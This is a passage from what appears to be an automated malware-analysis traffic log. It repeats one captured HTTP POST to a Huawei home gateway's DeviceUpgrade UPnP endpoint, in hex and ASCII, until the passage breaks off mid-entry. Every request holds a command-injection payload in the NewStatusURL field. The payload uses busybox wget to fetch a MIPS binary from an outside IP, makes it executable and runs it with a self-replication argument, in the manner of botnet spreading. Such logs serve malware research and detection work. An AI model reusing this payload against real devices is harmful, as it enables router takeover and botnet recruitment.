37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 